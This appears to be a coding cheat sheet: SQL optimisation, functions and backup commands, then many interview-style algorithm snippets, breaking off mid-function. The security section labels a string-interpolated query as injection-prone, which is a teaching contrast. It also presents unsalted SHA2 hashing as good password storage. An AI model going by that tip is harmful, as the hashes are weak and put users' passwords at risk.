-- Good
SELECT id, username, email FROM users;

SELECT * FROM users LIMIT 100;

-- Slower
SELECT * FROM users WHERE id IN (SELECT user_id FROM orders);

-- Faster
SELECT DISTINCT u.* FROM users u INNER JOIN orders o ON u.id = o.user_id;

EXPLAIN SELECT * FROM users WHERE email = 'alice@example.com';
EXPLAIN ANALYZE SELECT * FROM users WHERE age > 25;

-- Bad (can't use index)
SELECT * FROM users WHERE YEAR(created_at) = 2024;

-- Good
SELECT * FROM users
WHERE created_at >= '2024-01-01' AND created_at < '2025-01-01';

CREATE INDEX idx_users_email_username ON users(email, username);
-- This query can be satisfied entirely from the index
SELECT username FROM users WHERE email = 'alice@example.com';

-- CONCAT
SELECT CONCAT(first_name, ' ', last_name) as full_name FROM users;

-- UPPER / LOWER
SELECT UPPER(username), LOWER(email) FROM users;

-- LENGTH / CHAR_LENGTH
SELECT LENGTH(username), CHAR_LENGTH(username) FROM users;

-- SUBSTRING
SELECT SUBSTRING(email, 1, 10) FROM users;

-- TRIM
SELECT TRIM(username) FROM users;

-- REPLACE
SELECT REPLACE(email, '@gmail.com', '@newdomain.com') FROM users;

-- Current date/time
SELECT NOW(), CURRENT_DATE, CURRENT_TIME;

-- Date arithmetic
SELECT DATE_ADD(created_at, INTERVAL 30 DAY) FROM users;
SELECT DATE_SUB(created_at, INTERVAL 1 YEAR) FROM users;

-- Date difference
SELECT DATEDIFF(NOW(), created_at) as days_since_creation FROM users;

-- Date formatting
SELECT DATE_FORMAT(created_at, '%Y-%m-%d %H:%i:%s') FROM users;

-- Extract parts
SELECT
    YEAR(created_at) as year,
    MONTH(created_at) as month,
    DAY(created_at) as day
FROM users;

-- CASE
SELECT
    username,
    CASE
        WHEN age < 18 THEN 'Minor'
        WHEN age >= 18 AND age < 65 THEN 'Adult'
        ELSE 'Senior'
    END as age_group
FROM users;

-- IF (MySQL)
SELECT IF(age >= 18, 'Adult', 'Minor') as status FROM users;

-- COALESCE (first non-null value)
SELECT COALESCE(phone, email, 'No contact') FROM users;

-- NULLIF (return NULL if equal)
SELECT NULLIF(age, 0) FROM users;

-- Bad (vulnerable to SQL injection)
SELECT * FROM users WHERE username = '$user_input';

-- Good (parameterized)
SELECT * FROM users WHERE username = ?;

-- Store password hashes, never plain text
INSERT INTO users (username, password_hash)
VALUES ('alice', SHA2('password', 256));

mysqldump -u root -p database_name > backup.sql
pg_dump database_name > backup.sql

-- Array type
CREATE TABLE users (tags TEXT[]);
INSERT INTO users (tags) VALUES (ARRAY['admin', 'moderator']);
SELECT * FROM users WHERE 'admin' = ANY(tags);

-- JSON type
CREATE TABLE users (metadata JSONB);
INSERT INTO users (metadata) VALUES ('{"age": 30, "city": "NYC"}');
SELECT metadata->>'age' FROM users;

-- Generate series
SELECT * FROM generate_series(1, 10);

-- Auto increment
CREATE TABLE users (
    id INT AUTO_INCREMENT PRIMARY KEY
);

-- Full-text search
CREATE FULLTEXT INDEX ft_content ON posts(content);
SELECT * FROM posts WHERE MATCH(content) AGAINST('search term');

-- JSON functions
SELECT JSON_EXTRACT(metadata, '$.age') FROM users;

# MySQL
mysql -u root -p
mysql -u root -p database_name < backup.sql
mysqldump -u root -p database_name > backup.sql

# PostgreSQL
psql -U postgres
psql -U postgres database_name < backup.sql
pg_dump database_name > backup.sql

# SQLite
sqlite3 database.db
.tables
.schema table_name
.quit

# Two pointers
def reverse_string(s):
    left, right = 0, len(s) - 1
    s = list(s)
    while left < right:
        s[left], s[right] = s[right], s[left]
        left += 1
        right -= 1
    return ''.join(s)

# Sliding window
def max_sum_subarray(arr, k):
    window_sum = sum(arr[:k])
    max_sum = window_sum

    for i in range(k, len(arr)):
        window_sum = window_sum - arr[i-k] + arr[i]
        max_sum = max(max_sum, window_sum)

    return max_sum

# Prefix sum
def range_sum_query(arr):
    prefix = [0] * (len(arr) + 1)
    for i in range(len(arr)):
        prefix[i+1] = prefix[i] + arr[i]

    def query(left, right):
        return prefix[right+1] - prefix[left]

    return query

// Two pointers - Remove duplicates from sorted array
public int removeDuplicates(int[] nums) {
    if (nums.length == 0) return 0;
    int slow = 0;
    for (int fast = 1; fast < nums.length; fast++) {
        if (nums[fast] != nums[slow]) {
            slow++;
            nums[slow] = nums[fast];
        }
    }
    return slow + 1;
}

// Sliding window - Longest substring without repeating chars
int lengthOfLongestSubstring(string s) {
    unordered_map<char, int> chars;
    int left = 0, maxLen = 0;

    for (int right = 0; right < s.length(); right++) {
        if (chars.find(s[right]) != chars.end()) {
            left = max(left, chars[s[right]] + 1);
        }
        chars[s[right]] = right;
        maxLen = max(maxLen, right - left + 1);
    }
    return maxLen;
}

class ListNode:
    def __init__(self, val=0, next=None):
        self.val = val
        self.next = next

# Reverse linked list (iterative)
def reverse_list(head):
    prev = None
    current = head

    while current:
        next_temp = current.next
        current.next = prev
        prev = current
        current = next_temp

    return prev

# Reverse linked list (recursive)
def reverse_list_recursive(head):
    if not head or not head.next:
        return head

    new_head = reverse_list_recursive(head.next)
    head.next.next = head
    head.next = None
    return new_head

# Detect cycle (Floyd's algorithm)
def has_cycle(head):
    if not head:
        return False

    slow = fast = head
    while fast and fast.next:
        slow = slow.next
        fast = fast.next.next
        if slow == fast:
            return True

    return False

# Find middle node
def find_middle(head):
    slow = fast = head
    while fast and fast.next:
        slow = slow.next
        fast = fast.next.next
    return slow

# Merge two sorted lists
def merge_two_lists(l1, l2):
    dummy = ListNode(0)
    current = dummy

    while l1 and l2:
        if l1.val < l2.val:
            current.next = l1
            l1 = l1.next
        else:
            current.next = l2
            l2 = l2.next
        current = current.next

    current.next = l1 if l1 else l2
    return dummy.next

# Valid parentheses
def is_valid(s):
    stack = []
    mapping = {')': '(', '}': '{', ']': '['}

    for char in s:
        if char in mapping:
            top = stack.pop() if stack else '#'
            if mapping[char] != top:
                return False
        else:
            stack.append(char)

    return not stack

# Daily temperatures (monotonic stack)
def daily_temperatures(temperatures):
    result = [0] * len(temperatures)
    stack = []  # stores indices

    for i, temp in enumerate(temperatures):
        while stack and temperatures[stack[-1]] < temp:
            prev_index = stack.pop()
            result[prev_index] = i - prev_index
        stack.append(i)

    return result

// Evaluate Reverse Polish Notation
public int evalRPN(String[] tokens) {
    Stack<Integer> stack = new Stack<>();

    for (String token : tokens) {
        if (token.equals("+")) {
            stack.push(stack.pop() + stack.pop());
        } else if (token.equals("-")) {
            int b = stack.pop();
            int a = stack.pop();
            stack.push(a - b);
        } else if (token.equals("*")) {
            stack.push(stack.pop() * stack.pop());
        } else if (token.equals("/")) {
            int b = stack.pop();
            int a = stack.pop();
            stack.push(a / b);
        } else {
            stack.push(Integer.parseInt(token));
        }
    }

    return stack.pop();
}

from collections import deque

# Moving average from data stream
class MovingAverage:
    def __init__(self, size):
        self.size = size
        self.queue = deque()
        self.sum = 0

    def next(self, val):
        self.queue.append(val)
        self.sum += val

        if len(self.queue) > self.size:
            self.sum -= self.queue.popleft()

        return self.sum / len(self.queue)

# Two sum
def two_sum(nums, target):
    seen = {}
    for i, num in enumerate(nums):
        complement = target - num
        if complement in seen:
            return [seen[complement], i]
        seen[num] = i
    return []

# Group anagrams
def group_anagrams(strs):
    anagrams = {}
    for s in strs:
        key = ''.join(sorted(s))
        if key not in anagrams:
            anagrams[key] = []
        anagrams[key].append(s)
    return list(anagrams.values())

# Longest consecutive sequence
def longest_consecutive(nums):
    num_set = set(nums)
    longest = 0

    for num in num_set:
        if num - 1 not in num_set:  # Start of sequence
            current = num
            length = 1

            while current + 1 in num_set:
                current += 1
                length += 1

            longest = max(longest, length)

    return longest

// Subarray sum equals K
int subarraySum(vector<int>& nums, int k) {
    unordered_map<int, int> prefixSum;
    prefixSum[0] = 1;
    int sum = 0, count = 0;

    for (int num : nums) {
        sum += num;
        if (prefixSum.find(sum - k) != prefixSum.end()) {
            count += prefixSum[sum - k];
        }
        prefixSum[sum]++;
    }

    return count;
}

class TreeNode:
    def __init__(self, val=0, left=None, right=None):
        self.val = val
        self.left = left
        self.right = right

# Inorder (Left, Root, Right) - for BST gives sorted order
def inorder(root):
    result = []
    def traverse(node):
        if not node:
            return
        traverse(node.left)
        result.append(node.val)
        traverse(node.right)
    traverse(root)
    return result

# Preorder (Root, Left, Right)
def preorder(root):
    result = []
    def traverse(node):
        if not node:
            return
        result.append(node.val)
        traverse(node.left)
        traverse(node.right)
    traverse(root)
    return result

# Postorder (Left, Right, Root)
def postorder(root):
    result = []
    def traverse(node):
        if not node:
            return
        traverse(node.left)
        traverse(node.right)
        result.append(node.val)
    traverse(root)
    return result

# Level order (BFS)
from collections import deque

def level_order(root):
    if not root:
        return []

    result = []
    queue = deque([root])

    while queue:
        level = []
        for _ in range(len(queue)):
            node = queue.popleft()
            level.append(node.val)
            if node.left:
                queue.append(node.left)
            if node.right:
                queue.append(node.right)
        result.append(level)

    return result

# Search in BST
def search_bst(root, val):
    if not root or root.val == val:
        return root
    if val < root.val:
        return search_bst(root.left, val)
    return search_bst(root.right, val)

# Insert into BST
def insert_bst(root, val):
    if not root:
        return TreeNode(val)
    if val < root.val:
        root.left = insert_bst(root.left, val)
    else:
        root.right = insert_bst(root.right, val)
    return root

# Validate BST
def is_valid_bst(root):
    def validate(node, low=float('-inf'), high=float('inf')):
        if not node:
            return True
        if node.val <= low or node.val >= high:
            return False
        return (validate(node.left, low, node.val) and
                validate(node.right, node.val, high))
    return validate(root)

# Lowest common ancestor in BST
def lowest_common_ancestor_bst(root, p, q):
    while root:
        if p.val < root.val and q.val < root.val:
            root = root.left
        elif p.val > root.val and q.val > root.val:
            root = root.right
        else:
            return root

import heapq

# Kth largest element
def find_kth_largest(nums, k):
    return heapq.nlargest(k, nums)[-1]

# Alternative: Min heap of size k
def find_kth_largest_heap(nums, k):
    heap = nums[:k]
    heapq.heapify(heap)

    for num in nums[k:]:
        if num > heap[0]:
            heapq.heapreplace(heap, num)

    return heap[0]

# Top K frequent elements
def top_k_frequent(nums, k):
    from collections import Counter
    count = Counter(nums)
    return heapq.nlargest(k, count.keys(), key=count.get)

# Merge K sorted lists
def merge_k_lists(lists):
    heap = []
    dummy = ListNode(0)
    current = dummy

    # Initialize heap with first node from each list
    for i, lst in enumerate(lists):
        if lst:
            heapq.heappush(heap, (lst.val, i, lst))

    while heap:
        val, i, node = heapq.heappop(heap)
        current.next = node
        current = current.next

        if node.next:
            heapq.heappush(heap, (node.next.val, i, node.next))

    return dummy.next

// Find median from data stream
class MedianFinder {
    PriorityQueue<Integer> maxHeap; // Lower half
    PriorityQueue<Integer> minHeap; // Upper half

    public MedianFinder() {
        maxHeap = new PriorityQueue<>((a, b) -> b - a);
        minHeap = new PriorityQueue<>();
    }

    public void addNum(int num) {
        maxHeap.offer(num);
        minHeap.offer(maxHeap.poll());

        if (minHeap.size() > maxHeap.size()) {
            maxHeap.offer(minHeap.poll());
        }
    }

    public double findMedian() {
        if (maxHeap.size() > minHeap.size()) {
            return maxHeap.peek();
        }
        return (maxHeap.peek() + minHeap.peek()) / 2.0;
    }
}

# Adjacency list
graph = {
    'A': ['B', 'C'],
    'B': ['A', 'D', 'E'],
    'C': ['A', 'F'],
    'D': ['B'],
    'E': ['B', 'F'],
    'F': ['C', 'E']
}

# Adjacency matrix
n = 6
matrix = [[0] * n for _ in range(n)]

# DFS (recursive)
def dfs_recursive(graph, node, visited=None):
    if visited is None:
        visited = set()

    visited.add(node)
    print(node)

    for neighbor in graph[node]:
        if neighbor not in visited:
            dfs_recursive(graph, neighbor, visited)

    return visited

# DFS (iterative)
def dfs_iterative(graph, start):
    visited = set()
    stack = [start]

    while stack:
        node = stack.pop()
        if node not in visited:
            visited.add(node)
            print(node)
            for neighbor in reversed(graph[node]):
                if neighbor not in visited:
                    stack.append(neighbor)

    return visited

# BFS
from collections import deque

def bfs(graph, start):
    visited = set([start])
    queue = deque([start])

    while queue:
        node = queue.popleft()
        print(node)

        for neighbor in graph[node]:
            if neighbor not in visited:
                visited.add(neighbor)
                queue.append(neighbor)

    return visited

# Number of islands (DFS)
def num_islands(grid):
    if not grid:
        return 0

    def dfs(i, j):
        if (i < 0 or i >= len(grid) or j < 0 or j >= len(grid[0]) or
            grid[i][j] == '0'):
            return

        grid[i][j] = '0'  # Mark as visited
        dfs(i+1, j)
        dfs(i-1, j)
        dfs(i, j+1)
        dfs(i, j-1)

    count = 0
    for i in range(len(grid)):
        for j in range(len(grid[0])):
            if grid[i][j] == '1':
                dfs(i, j)
                count += 1

    return count

# Clone graph
def clone_graph(node):
    if not node:
        return None

    clones = {}

    def dfs(node):
        if node in clones:
            return clones[node]

        clone = Node(node.val)
        clones[node] = clone

        for neighbor in node.neighbors:
            clone.neighbors.append(dfs(neighbor))

        return clone

    return dfs(node)

# Course schedule (cycle detection)
def can_finish(numCourses, prerequisites):
    graph = {i: [] for i in range(numCourses)}
    for course, prereq in prerequisites:
        graph[course].append(prereq)

    visited = [0] * numCourses  # 0: unvisited, 1: visiting, 2: visited

    def has_cycle(course):
        if visited[course] == 1:  # Currently visiting
            return True
        if visited[course] == 2:  # Already visited
            return False

        visited[course] = 1
        for prereq in graph[course]:
            if has_cycle(prereq):
                return True
        visited[course] = 2
        return False

    for course in range(numCourses):
        if has_cycle(course):
            return False

    return True

# Maximum sum subarray of size k (fixed window)
def max_sum_subarray(arr, k):
    window_sum = sum(arr[:k])
    max_sum = window_sum

    for i in range(k, len(arr)):
        window_sum += arr[i] - arr[i-k]
        max_sum = max(max_sum, window_sum)

    return max_sum

# Longest substring with at most K distinct characters (dynamic window)
def length_of_longest_substring_k_distinct(s, k):
    char_count = {}
    left = 0
    max_len = 0

    for right in range(len(s)):
        char_count[s[right]] = char_count.get(s[right], 0) + 1

        while len(char_count) > k:
            char_count[s[left]] -= 1
            if char_count[s[left]] == 0:
                del char_count[s[left]]
            left += 1

        max_len = max(max_len, right - left + 1)

    return max_len

# Minimum window substring
def min_window(s, t):
    from collections import Counter

    if not s or not t:
        return ""

    need = Counter(t)
    have = {}

    required = len(need)
    formed = 0

    left = 0
    min_len = float('inf')
    min_left = 0

    for right in range(len(s)):
        char = s[right]
        have[char] = have.get(char, 0) + 1

        if char in need and have[char] == need[char]:
            formed += 1

        while formed == required:
            if right - left + 1 < min_len:
                min_len = right - left + 1
                min_left = left

            char = s[left]
            have[char] -= 1
            if char in need and have[char] < need[char]:
                formed -= 1
            left += 1

    return "" if min_len == float('inf') else s[min_left:min_left + min_len]

// Longest substring without repeating characters
public int lengthOfLongestSubstring(String s) {
    Map<Character, Integer> chars = new HashMap<>();
    int left = 0, maxLen = 0;

    for (int right = 0; right < s.length(); right++) {
        char c = s.charAt(right);
        if (chars.containsKey(c)) {
            left = Math.max(left, chars.get(c) + 1);
        }
        chars.put(c, right);
        maxLen = Math.max(maxLen, right - left + 1);
    }

    return maxLen;
}

# Two sum in sorted array
def two_sum_sorted(numbers, target):
    left, right = 0, len(numbers) - 1

    while left < right:
        current_sum = numbers[left] + numbers[right]
        if current_sum == target:
            return [left + 1, right + 1]
        elif current_sum < target:
            left += 1
        else:
            right -= 1

    return []

# Three sum
def three_sum(nums):
    nums.sort()
    result = []

    for i in range(len(nums) - 2):
        if i > 0 and nums[i] == nums[i-1]:
            continue

        left, right = i + 1, len(nums) - 1
        while left < right:
            total = nums[i] + nums[left] + nums[right]

            if total == 0:
                result.append([nums[i], nums[left], nums[right]])
                while left < right and nums[left] == nums[left+1]:
                    left += 1
                while left < right and nums[right] == nums[right-1]:
                    right -= 1
                left += 1
                right -= 1
            elif total < 0:
                left += 1
            else:
                right -= 1

    return result

# Container with most water
def max_area(height):
    left, right = 0, len(height) - 1
    max_water = 0

    while left < right:
        width = right - left
        max_water = max(max_water, min(height[left], height[right]) * width)

        if height[left] < height[right]:
            left += 1
        else:
            right -= 1

    return max_water

# Remove duplicates from sorted array
def remove_duplicates(nums):
    if not nums:
        return 0

    slow = 0
    for fast in range(1, len(nums)):
        if nums[fast] != nums[slow]:
            slow += 1
            nums[slow] = nums[fast]

    return slow + 1

// Trapping rain water
int trap(vector<int>& height) {
    int left = 0, right = height.size() - 1;
    int leftMax = 0, rightMax = 0;
    int water = 0;

    while (left < right) {
        if (height[left] < height[right]) {
            if (height[left] >= leftMax) {
                leftMax = height[left];
            } else {
                water += leftMax - height[left];
            }
            left++;
        } else {
            if (height[right] >= rightMax) {
                rightMax = height[right];
            } else {
                water += rightMax - height[right];
            }
            right--;
        }
    }

    return water;
}

# Linked list cycle detection
def has_cycle(head):
    slow = fast = head

    while fast and fast.next:
        slow = slow.next
        fast = fast.next.next
        if slow == fast:
            return True

    return False

# Find cycle start
def detect_cycle(head):
    slow = fast = head

    # Find meeting point
    while fast and fast.next:
        slow = slow.next
        fast = fast.next.next
        if slow == fast:
            break
    else:
        return None  # No cycle

    # Find cycle start
    slow = head
    while slow != fast:
        slow = slow.next
        fast = fast.next

    return slow

# Happy number
def is_happy(n):
    def get_next(num):
        total = 0
        while num > 0:
            digit = num % 10
            total += digit * digit
            num //= 10
        return total

    slow = n
    fast = get_next(n)

    while fast != 1 and slow != fast:
        slow = get_next(slow)
        fast = get_next(get_next(fast))

    return fast == 1

# Find middle of linked list
def find_middle(head):
    slow = fast = head

    while fast and fast.next:
        slow = slow.next
        fast = fast.next.next

    return slow

# Palindrome linked list
def is_palindrome(head):
    # Find middle
    slow = fast = head
    while fast and fast.next:
        slow = slow.next
        fast = fast.next.next

    # Reverse second half
    prev = None
    while slow:
        next_node = slow.next
        slow.next = prev
        prev = slow
        slow = next_node

    # Compare
    left, right = head, prev
    while right:
        if left.val != right.val:
            return False
        left = left.next
        right = right.next

    return True

# Merge intervals
def merge(intervals):
    if not intervals:
        return []

    intervals.sort(key=lambda x: x[0])
    merged = [intervals[0]]

    for current in intervals[1:]:
        last = merged[-1]
        if current[0] <= last[1]:
            last[1] = max(last[1], current[1])
        else:
            merged.append(current)

    return merged

# Insert interval
def insert(intervals, newInterval):
    result = []
    i = 0

    # Add all intervals before newInterval
    while i < len(intervals) and intervals[i][1] < newInterval[0]:
        result.append(intervals[i])
        i += 1

    # Merge overlapping intervals
    while i < len(intervals) and intervals[i][0] <= newInterval[1]:
        newInterval[0] = min(newInterval[0], intervals[i][0])
        newInterval[1] = max(newInterval[1], intervals[i][1])
        i += 1
    result.append(newInterval)

    # Add remaining intervals
    while i < len(intervals):
        result.append(intervals[i])
        i += 1

    return result

# Meeting rooms II (minimum rooms needed)
def min_meeting_rooms(intervals):
    if not intervals:
        return 0

    start_times = sorted([i[0] for i in intervals])
    end_times = sorted([i[1] for i in intervals])

    rooms = 0
    max_rooms = 0
    s = e = 0

    while s < len(start_times):
        if start_times[s] < end_times[e]:
            rooms += 1
            max_rooms = max(max_rooms, rooms)
            s += 1
        else:
            rooms -= 1
            e += 1

    return max_rooms

// Non-overlapping intervals (min removals)
public int eraseOverlapIntervals(int[][] intervals) {
    if (intervals.length == 0) return 0;

    Arrays.sort(intervals, (a, b) -> a[1] - b[1]);
    int end = intervals[0][1];
    int count = 0;

    for (int i = 1; i < intervals.length; i++) {
        if (intervals[i][0] < end) {
            count++;
        } else {
            end = intervals[i][1];
        }
    }

    return count;
}

# Cyclic sort
def cyclic_sort(nums):
    i = 0
    while i < len(nums):
        correct_index = nums[i] - 1
        if nums[i] != nums[correct_index]:
            nums[i], nums[correct_index] = nums[correct_index], nums[i]
        else:
            i += 1
    return nums

# Find missing number
def find_missing_number(nums):
    i = 0
    n = len(nums)

    while i < n:
        correct_index = nums[i]
        if correct_index < n and nums[i] != nums[correct_index]:
            nums[i], nums[correct_index] = nums[correct_index], nums[i]
        else:
            i += 1

    for i in range(n):
        if nums[i] != i:
            return i

    return n

# Find all duplicates
def find_duplicates(nums):
    i = 0
    while i < len(nums):
        correct_index = nums[i] - 1
        if nums[i] != nums[correct_index]:
            nums[i], nums[correct_index] = nums[correct_index], nums[i]
        else:
            i += 1

    duplicates = []
    for i in range(len(nums)):
        if nums[i] != i + 1:
            duplicates.append(nums[i])

    return duplicates

# First missing positive
def first_missing_positive(nums):
    n = len(nums)

    # Place each number in its right place
    for i in range(n):
        while 1 <= nums[i] <= n and nums[nums[i] - 1] != nums[i]:
            correct_index = nums[i] - 1
            nums[i], nums[correct_index] = nums[correct_index], nums[i]

    # Find first missing
    for i in range(n):
        if nums[i] != i + 1:
            return i + 1

    return n + 1

# Reverse linked list
def reverse_list(head):
    prev = None
    current = head

    while current:
        next_temp = current.next
        current.next = prev
        prev = current
        current = next_temp

    return prev

# Reverse sublist from position m to n
def reverse_between(head, m, n):
    if m == n:
        return head

    dummy = ListNode(0)
    dummy.next = head
    prev = dummy

    # Move to position m-1
    for _ in range(m - 1):
        prev = prev.next

    # Reverse from m to n
    current = prev.next
    for _ in range(n - m):
        next_node = current.next
        current.next = next_node.next
        next_node.next = prev.next
        prev.next = next_node

    return dummy.next

# Reverse nodes in k-group
def reverse_k_group(head, k):
    def reverse(head, k):
        prev = None
        current = head
        for _ in range(k):
            if not current:
                return head  # Not enough nodes
            next_temp = current.next
            current.next = prev
            prev = current
            current = next_temp
        return prev

    # Check if k nodes exist
    count = 0
    node = head
    while node and count < k:
        node = node.next
        count += 1

    if count < k:
        return head

    # Reverse first k nodes
    new_head = reverse(head, k)
    # Recursively reverse remaining
    head.next = reverse_k_group(node, k)

    return new_head

from collections import deque

# Level order traversal
def level_order(root):
    if not root:
        return []

    result = []
    queue = deque([root])

    while queue:
        level = []
        for _ in range(len(queue)):
            node = queue.popleft()
            level.append(node.val)
            if node.left:
                queue.append(node.left)
            if node.right:
                queue.append(node.right)
        result.append(level)

    return result

# Zigzag level order
def zigzag_level_order(root):
    if not root:
        return []

    result = []
    queue = deque([root])
    left_to_right = True

    while queue:
        level = []
        for _ in range(len(queue)):
            node = queue.popleft()
            level.append(node.val)
            if node.left:
                queue.append(node.left)
            if node.right:
                queue.append(node.right)

        if not left_to_right:
            level.reverse()
        result.append(level)
        left_to_right = not left_to_right

    return result

# Right side view
def right_side_view(root):
    if not root:
        return []

    result = []
    queue = deque([root])

    while queue:
        level_size = len(queue)
        for i in range(level_size):
            node = queue.popleft()
            if i == level_size - 1:  # Last node in level
                result.append(node.val)
            if node.left:
                queue.append(node.left)
            if node.right:
                queue.append(node.right)

    return result

# Minimum depth
def min_depth(root):
    if not root:
        return 0

    queue = deque([(root, 1)])

    while queue:
        node, depth = queue.popleft()

        if not node.left and not node.right:
            return depth

        if node.left:
            queue.append((node.left, depth + 1))
        if node.right:
            queue.append((node.right, depth + 1))

    return 0

# Maximum depth
def max_depth(root):
    if not root:
        return 0
    return 1 + max(max_depth(root.left), max_depth(root.right))

# Path sum
def has_path_sum(root, targetSum):
    if not root:
        return False

    if not root.left and not root.right:
        return root.val == targetSum

    return (has_path_sum(root.left, targetSum - root.val) or
            has_path_sum(root.right, targetSum - root.val))

# All paths from root to leaf
def binary_tree_paths(root):
    if not root:
        return []

    paths = []

    def dfs(node, path):
        if not node.left and not node.right:
            paths.append(path + str(node.val))
            return

        if node.left:
            dfs(node.left, path + str(node.val) + "->")
        if node.right:
            dfs(node.right, path + str(node.val) + "->")

    dfs(root, "")
    return paths

# Path sum II (all paths)
def path_sum(root, targetSum):
    result = []

    def dfs(node, remaining, path):
        if not node:
            return

        path.append(node.val)

        if not node.left and not node.right and remaining == node.val:
            result.append(list(path))
        else:
            dfs(node.left, remaining - node.val, path)
            dfs(node.right, remaining - node.val, path)

        path.pop()

    dfs(root, targetSum, [])
    return result

# Diameter of binary tree
def diameter_of_binary_tree(root):
    diameter = 0

    def height(node):
        nonlocal diameter
        if not node:
            return 0

        left = height(node.left)
        right = height(node.right)
        diameter = max(diameter, left + right)

        return 1 + max(left, right)

    height(root)
    return diameter

import heapq

class MedianFinder:
    def __init__(self):
        self.small = []  # max heap (negated values)
        self.large = []  # min heap

    def addNum(self, num):
        heapq.heappush(self.small, -num)

        # Balance: largest in small <= smallest in large
        if self.small and self.large and -self.small[0] > self.large[0]:
            val = -heapq.heappop(self.small)
            heapq.heappush(self.large, val)

        # Balance sizes
        if len(self.small) > len(self.large) + 1:
            val = -heapq.heappop(self.small)
            heapq.heappush(self.large, val)
        if len(self.large) > len(self.small):
            val = heapq.heappop(self.large)
            heapq.heappush(self.small, -val)

    def findMedian(self):
        if len(self.small) > len(self.large):
            return -self.small[0]
        return (-self.small[0] + self.large[0]) / 2.0

# Sliding window median
def median_sliding_window(nums, k):
    from sortedcontainers import SortedList

    window = SortedList(nums[:k])
    medians = []

    for i in range(k, len(nums) + 1):
        if k % 2 == 0:
            medians.append((window[k//2-1] + window[k//2]) / 2.0)
        else:
            medians.append(float(window[k//2]))

        if i < len(nums):
            window.remove(nums[i-k])
            window.add(nums[i])

    return medians

# Subsets
def subsets(nums):
    result = []

    def backtrack(start, path):
        result.append(list(path))
        for i in range(start, len(nums)):
            path.append(nums[i])
            backtrack(i + 1, path)
            path.pop()

    backtrack(0, [])
    return result

# Subsets II (with duplicates)
def subsets_with_dup(nums):
    result = []
    nums.sort()

    def backtrack(start, path):
        result.append(list(path))
        for i in range(start, len(nums)):
            if i > start and nums[i] == nums[i-1]:
                continue
            path.append(nums[i])
            backtrack(i + 1, path)
            path.pop()

    backtrack(0, [])
    return result

# Permutations
def permute(nums):
    result = []

    def backtrack(path):
        if len(path) == len(nums):
            result.append(list(path))
            return

        for num in nums:
            if num in path:
                continue
            path.append(num)
            backtrack(path)
            path.pop()

    backtrack([])
    return result

# Combinations
def combine(n, k):
    result = []

    def backtrack(start, path):
        if len(path) == k:
            result.append(list(path))
            return

        for i in range(start, n + 1):
            path.append(i)
            backtrack(i + 1, path)
            path.pop()

    backtrack(1, [])
    return result

# Letter combinations of phone number
def letter_combinations(digits):
    if not digits:
        return []

    phone = {
        '2': 'abc', '3': 'def', '4': 'ghi', '5': 'jkl',
        '6': 'mno', '7': 'pqrs', '8': 'tuv', '9': 'wxyz'
    }

    result = []

    def backtrack(index, path):
        if index == len(digits):
            result.append(path)
            return

        for letter in phone[digits[index]]:
            backtrack(index + 1, path + letter)

    backtrack(0, "")
    return result

# N-Queens
def solve_n_queens(n):
    result = []
    board = [['.'] * n for _ in range(n)]

    def is_safe(row, col):
        # Check column
        for i in range(row):
            if board[i][col] == 'Q':
                return False

        # Check diagonal
        i, j = row - 1, col - 1
        while i >= 0 and j >= 0:
            if board[i][j] == 'Q':
                return False
            i -= 1
            j -= 1

        # Check anti-diagonal
        i, j = row - 1, col + 1
        while i >= 0 and j < n:
            if board[i][j] == 'Q':
                return False
            i -= 1
            j += 1

        return True

    def backtrack(row):
        if row == n:
            result.append([''.join(row) for row in board])
            return

        for col in range(n):
            if is_safe(row, col):
                board[row][col] = 'Q'
                backtrack(row + 1)
                board[row][col] = '.'

    backtrack(0)
    return result

# Binary search
def binary_search(arr, target):
    left, right = 0, len(arr) - 1

    while left <= right:
        mid = left + (right - left) // 2
        if arr[mid] == target:
            return mid
        elif arr[mid] < target:
            left = mid + 1
        else:
            right = mid - 1

    return -1

# Search in rotated sorted array
def search(nums, target):
    left, right = 0, len(nums) - 1

    while left <= right:
        mid = left + (right - left) // 2

        if nums[mid] == target:
            return mid

        # Left half is sorted
        if nums[left] <= nums[mid]:
            if nums[left] <= target < nums[mid]:
                right = mid - 1
            else:
                left = mid + 1
        # Right half is sorted
        else:
            if nums[mid] < target <= nums[right]:
                left = mid + 1
            else:
                right = mid - 1

    return -1

# Find minimum in rotated sorted array
def find_min(nums):
    left, right = 0, len(nums) - 1

    while left < right:
        mid = left + (right - left) // 2

        if nums[mid] > nums[right]:
            left = mid + 1
        else:
            right = mid

    return nums[left]

# Search 2D matrix
def search_matrix(matrix, target):
    if not matrix or not matrix[0]:
        return False

    m, n = len(matrix), len(matrix[0])
    left, right = 0, m * n - 1

    while left <= right:
        mid = left + (right - left) // 2
        num = matrix[mid // n][mid % n]

        if num == target:
            return True
        elif num < target:
            left = mid + 1
        else:
            right = mid - 1

    return False

# Find peak element
def find_peak_element(nums):
    left, right = 0, len(nums) - 1

    while left < right:
        mid = left + (right - left) // 2

        if nums[mid] > nums[mid + 1]:
            right = mid
        else:
            left = mid + 1

    return left

from collections import deque, defaultdict

# Topological sort (Kahn's algorithm - BFS)
def topological_sort_bfs(n, edges):
    graph = defaultdict(list)
    in_degree = [0] * n

    for u, v in edges:
        graph[u].append(v)
        in_degree[v] += 1

    queue = deque([i for i in range(n) if in_degree[i] == 0])
    result = []

    while queue:
        node = queue.popleft()
        result.append(node)

        for neighbor in graph[node]:
            in_degree[neighbor] -= 1
            if in_degree[neighbor] == 0:
                queue.append(neighbor)

    return result if len(result) == n else []

# Topological sort (DFS)
def topological_sort_dfs(n, edges):
    graph = defaultdict(list)
    for u, v in edges:
        graph[u].append(v)

    visited = [0] * n  # 0: unvisited, 1: visiting, 2: visited
    result = []

    def dfs(node):
        if visited[node] == 1:  # Cycle detected
            return False
        if visited[node] == 2:
            return True

        visited[node] = 1
        for neighbor in graph[node]:
            if not dfs(neighbor):
                return False

        visited[node] = 2
        result.append(node)
        return True

    for i in range(n):
        if visited[i] == 0:
            if not dfs(i):
                return []

    return result[::-1]

# Course schedule II
def find_order(numCourses, prerequisites):
    graph = defaultdict(list)
    in_degree = [0] * numCourses

    for course, prereq in prerequisites:
        graph[prereq].append(course)
        in_degree[course] += 1

    queue = deque([i for i in range(numCourses) if in_degree[i] == 0])
    order = []

    while queue:
        course = queue.popleft()
        order.append(course)

        for next_course in graph[course]:
            in_degree[next_course] -= 1
            if in_degree[next_course] == 0:
                queue.append(next_course)

    return order if len(order) == numCourses else []

import heapq

# Merge K sorted lists
def merge_k_sorted_lists(lists):
    heap = []
    dummy = ListNode(0)
    current = dummy

    # Initialize heap
    for i, lst in enumerate(lists):
        if lst:
            heapq.heappush(heap, (lst.val, i, lst))

    while heap:
